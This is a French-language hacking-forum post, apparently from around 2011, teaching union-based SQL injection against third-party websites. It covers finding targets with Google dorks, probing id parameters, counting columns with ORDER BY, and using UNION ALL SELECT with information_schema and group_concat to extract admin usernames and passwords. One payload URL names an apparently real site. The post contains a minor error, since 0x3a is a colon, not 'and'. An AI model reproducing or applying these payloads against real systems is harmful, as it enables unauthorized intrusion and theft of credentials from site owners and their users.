[ TUTO ] Injection SQL

Voir le sujet précédent Voir le sujet suivant Aller en bas

[ TUTO ] Injection SQL

Message  BiMOs le Dim 21 Aoû - 16:26

HBonjour Les Oscar's.

Today , je vous fait part de mon petit tuto pour faire une injection SQL.

Première chose , trouver un site vulnérable.
Pour trouver des sites vulnérables on doit utiliser des Googles Dorks sous cette forme :
allinurl:news.php?id=
( Il y-en a plusieurs je vous donne que un exemple. )
Une fois que vous avez votre site vulnérable du style http://www.Dkstonsite.fr/articles/index.php?id=15634
On regarde s'il l'est vraiment vulnérable en utilisant dans un premier temps : '
Ce qui donne : http://www.Dkstonsite.fr/articles/index.php?id='15634
Le site affiche une erreur. Il est bien vulnérable deuxième test pour en être bel et bien sur ( vous êtes pas obliger mais je le fais tout le temps.)
De cette façon : http://www.Dkstonsite.fr/articles/index.php?id=-15634

Puis Le site affiche une erreur de ce genre : Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'15634' at line 10
Bref, maintenant le second outil de test le : -
De cette façon : http://www.Dkstonsite.fr/articles/index.php?id=-15634
Le site n'affiche pas d'erreur mais il n'affiche rien, page blanche
Puis c'est la qu'on utilise l'arguement " Order by "
De cette façon : http://www.Dkstonsite.fr/articles/index.php?id=15634 order by [nombre]--

exemple : http://www.Dkstonsite.fr/articles/index.php?id=15634 order by 20--

Il compte le nombre de colonnes que comprend la DB SQL
Par exemple si il y a 15 columns : http://www.Dkstonsite.fr/articles/index.php?id=15634 order by 15--
Le site enverra une erreur a 16, donc c'est comme sa que nous savons qu'il y a 15 columns (colonnes)
Ensuite on repertorie les colonnes en utilisant l'argument " union all select "
(Petite subtilité, le - de tout a l'heure est repris ici, il permet d'afficher des infos qui ne sont pas visibles avec un nombre positif )
http://www.Dkstonsite.fr/articles/index.php?id=-1563 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --

Le nombre 3 et le nombre 7 qu'on voit sont les columns (colonnes) vulnérables

En gros, elles ne sont pas sécurisées et permetent de lire des données de la DB

Bref ! A la place des nombres 3 et 7 on verra les infos de la DB que l'on demande

Donc, pour commencer on va cherche la version de MySQL
En remplacant dans la barre d'URL soit le nombre 3, soit le 7
Avec l'argument @@version
De cette façon : http://www.Dkstonsite.fr/articles/index.php?id=-1563 union all select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15 --

On dira qu'a la place du trois il s'affiche 5.1.48

C'est la version MySQL
On la recupere car les versions inférieures a 4 ne sont pas exploitables
Maintenant qu'on la version, on peut passer a autre chose
On va cherche ne nom des tables
(Les tables sont les endroits qui contiennent les columns (colonnes) de tout a l'heure )
Les DB SQL suivent un schéma hierarchique précis
Qui est : DB -> Table -> Columns
POur trouver le nom des tables on utilise une requête SQL qui est : " group_concat(table_name) "
Puis, a la fin de l'URL (Aprés le 15) on ajoute " from " information_schema.tables where table_schema=database()--
Ce qui donne : http://www.Dkstonsite.fr/articles/index....se%28%29--

vous verrez s'afficher une longue liste de noms
Ce sont les tables
Qui contiennent les logins des admins, des membres et d'autres choses
Celle qui nous interesserons ici seront : exemple ( ru_admin )
Elle contient les logins des admins
On cherche maintenant les columns intéressantes avec group_concat(column_name)
On change un peu l'argument de fin aussi
Ce qui nous donne : http://www.Dkstonsite.fr/articles/index....se%28%29--
On obtiens les columns de la table ru_admin
Voila, les columns qui nous interessent sont : ru_Admin_Username
ru_Admin_Password
Qui contiennent les pass et les identifiants de l'admin
Pour ça on va mettre les deux columns en relation
en utilisant : group_concat(ru_Admin_Username,0x3a,ru_Admin_Password)
*0x3a est une valeur ASCII qui veut dire and
*Changeons égallement la fin pour préciser notre action : from information_schema.columns where table_schema=database()--
*Ce qui donne : http://www.rfidupdate.com/articles/index.php?id=-1563 union all select 1,2,group_concat(ru_Admin_Username,0x3a,ru_Admin_Password),4,5,6,7,8,9,10,11,12,​13,14,15 from information_schema.columns where table_schema=database()--

Si tout se passe bien on verra : exemple ( admin:admRIvuxHahkQ )
admin étant le pseudo et l'autre le pass
Voila l'injection SQL est terminée

Tuto : By BiMOs

Cya

_________________


Votre Créateur Officiel de la OscarTeam

BiMOs
Admin
Admin

Messages : 42
Date d'inscription : 20/07/2011

Voir le profil de l'utilisateur http://oscarteam.hooxs.com

Revenir en haut Aller en bas

Voir le sujet précédent Voir le sujet suivant Revenir en haut

- Sujets similaires

 
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum